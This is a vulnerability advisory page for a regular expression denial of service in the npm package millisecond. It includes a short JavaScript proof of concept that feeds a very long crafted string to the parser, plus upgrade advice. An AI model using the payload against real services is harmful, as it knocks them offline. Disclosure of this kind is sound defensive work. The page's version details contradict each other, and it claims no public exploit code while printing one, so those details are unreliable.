GHSA-m489-xr35-fjxr Regular Expression Denial of Service in millisecond

Not scored Published
Exploited in the wild
Not known
Fix
Available

What is GHSA-m489-xr35-fjxr?

GHSA-m489-xr35-fjxr is a vulnerability in millisecond, published on 22 Sep 2021.

Official description

Versions of millisecond prior to 0.1.2 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.

Proof of concept

var ms = require('millisecond');
var genstr = function (len, chr) {
   var result = "";
   for (i=0; i<=len; i++) {
       result = result + chr;
   }

   return result;
}

ms(genstr(process.argv[2], "5") + " minutea");

Recommendation

Update to version 0.1.2 or later.

Which versions are affected by GHSA-m489-xr35-fjxr?

2 open source packages ship an affected version, including millisecond.

PackageAffectedFixed in
millisecond npmAll versions0.1.2
millisecond npmAll versions0.1.2

How do I fix GHSA-m489-xr35-fjxr?

Upgrade millisecond to 0.1.2 or later.

Is GHSA-m489-xr35-fjxr being exploited?

There is no known exploitation of GHSA-m489-xr35-fjxr in the wild and no public exploit code.

Sources

Is GHSA-m489-xr35-fjxr in your software?

Upload an SBOM and sbomify checks it against every vulnerability here, every day.

Check your SBOMs for free